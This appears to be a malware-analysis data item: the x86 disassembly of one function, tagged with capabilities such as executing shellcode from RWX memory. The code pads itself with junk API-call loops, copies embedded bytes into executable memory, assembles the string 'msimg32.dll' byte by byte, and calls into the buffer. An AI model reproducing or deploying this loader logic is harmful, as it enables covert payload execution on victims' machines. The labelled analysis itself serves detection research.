Function at 0x4036c0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get file attributes
Query environment variable

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x44a1c8
push eax
mov dword fs:[0], esp
sub esp, 0x428
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_SetLastError]
xor ebx, ebx
xor esi, esi
jmp 0x4036f0
push ebx
call edi
cmp esi, 0xb7e4ee2
jg 0x403704
inc esi
cmp esi, 0x73f04bd
jl 0x4036f0
cmp dword [0x45b9f4], 0x400
jne 0x403741
push ebx
lea eax, [ebp - 0x434]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_DefineDosDeviceA]
push ebx
push ebx
call fcn.00404d1f
mov eax, esp
mov dword [eax], ebx
mov dword [eax + 4], ebx
sub esp, 8
mov eax, esp
mov dword [eax], ebx
mov dword [eax + 4], ebx
call fcn.00404720
fstp st(0)
add esp, 0x10
cmp dword [0x45b9f4], 0x93
jne 0x4037f9
xor ecx, ecx
lock bts dword [ecx], 0
push 0x402e68
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_OpenJobObjectW]
push ebx
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
push 0x402e7c
mov dword [ebp - 0x18], 0xf
mov dword [ebp - 0x1c], ebx
mov byte [ebp - 0x2c], bl
call fcn.00404a10
add esp, 4
push eax
push 0x402e7c
lea ecx, [ebp - 0x30]
call fcn.00403fe0
push ebx
mov dword [ebp - 4], ebx
call fcn.00404b98
add esp, 4
push ebx
push ebx
call fcn.00404bc7
add esp, 8
call fcn.004045ac
call fcn.004036b0
fldz
push ebx
sub esp, 8
fstp qword [esp]
call fcn.00404856
add esp, 0xc
fstp st(0)
push 0x30
push ebx
push 0x402e90
push 0x402e94
call fcn.00404bd2
add esp, 0x10
mov dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0x18], 0x10
jb 0x4037f9
mov ecx, dword [ebp - 0x2c]
push ecx
call fcn.00404c97
add esp, 4
mov eax, dword [0x45b9f4]
mov edx, dword [0x44fd94]
push 0x40
add eax, 0x1134b
push 0x1000
push eax
push ebx
mov dword [0x45c830], edx
mov dword [0x45b9f4], eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [0x45b484], eax
mov esi, 0x1692e
call edi
sub esi, 1
jne 0x403833
cmp dword [0x45b9f4], ebx
jbe 0x4038a8
mov edi, dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
mov ebx, dword [sym.imp.KERNEL32.dll_ReadConsoleInputA]
mov edi, edi
mov eax, dword [0x45c830]
mov cl, byte [eax + esi + 0x1134b]
mov edx, dword [0x45b484]
mov byte [edx + esi], cl
cmp dword [0x45b9f4], 0x490
jne 0x40389d
push 0
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
push 0
push 0
push 0
push 0
call edi
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea ecx, [ebp - 0x14]
push ecx
push 0
lea edx, [ebp - 0x28]
push edx
push 0
call ebx
inc esi
cmp esi, dword [0x45b9f4]
jb 0x403850
xor ebx, ebx
mov edi, dword [sym.imp.KERNEL32.dll_LCMapStringA]
mov ebx, dword [sym.imp.KERNEL32.dll_OpenEventA]
xor esi, esi
mov eax, dword [0x45b9f4]
add eax, esi
cmp eax, 0x8d
jne 0x4038eb
push 0
lea ecx, [ebp - 0x434]
push ecx
push 0
push 0
push 0
push 0
call edi
push 0
lea edx, [ebp - 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
push 0
push 0
push 0
call ebx
inc esi
cmp esi, 0x38681
jl 0x4038b6
call fcn.00403590
mov edi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov ebx, dword [sym.imp.USER32.dll_GetAltTabInfoW]
xor esi, esi
cmp esi, 0xfa62c8f
jge 0x40391d
call edi
push 0
push 0
push 0
push 0
push 0
call ebx
cmp esi, 0x207142
jg 0x40392e
inc esi
cmp esi, 0x67d12
jl 0x403907
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
xor esi, esi
call edi
cmp esi, 0x61
jne 0x403954
mov dword [ebp - 0x10], 0
add dword [ebp - 0x10], 0x10c2
mov eax, dword [ebp - 0x10]
add dword [0x45b484], eax
inc esi
cmp esi, 0x674bd
jl 0x403936
mov esi, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov edi, dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
mov ebx, dword [sym.imp.KERNEL32.dll_GlobalFree]
mov dword [ebp - 0x10], 0x7b
jmp 0x403980
cmp dword [0x45b9f4], 0x86
jne 0x4039b8
push 0x402ea0
call esi
push 0
lea ecx, [ebp - 0x434]
push ecx
push 0x402f38
call edi
push 0
call ebx
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStrings]
push 0x402f50
call dword [sym.imp.KERNEL32.dll_SetComputerNameA]
cmp dword [0x45b9f4], 0xf
jne 0x4039cd
push 0
lea edx, [ebp - 0x34]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
sub dword [ebp - 0x10], 1
jne 0x403980
mov cl, 0x6c
mov al, 0x6d
push 0x452b18
mov byte [0x452b21], cl
mov byte [0x452b1b], al
mov byte [0x452b1c], 0x67
mov byte [0x452b20], 0x64
mov byte [0x452b23], 0
mov byte [0x452b22], cl
mov byte [0x452b1f], 0x2e
mov byte [0x452b1e], 0x32
mov byte [0x452b18], al
mov byte [0x452b1a], 0x69
mov byte [0x452b1d], 0x33
mov byte [0x452b19], 0x73
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call dword [0x45b484]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret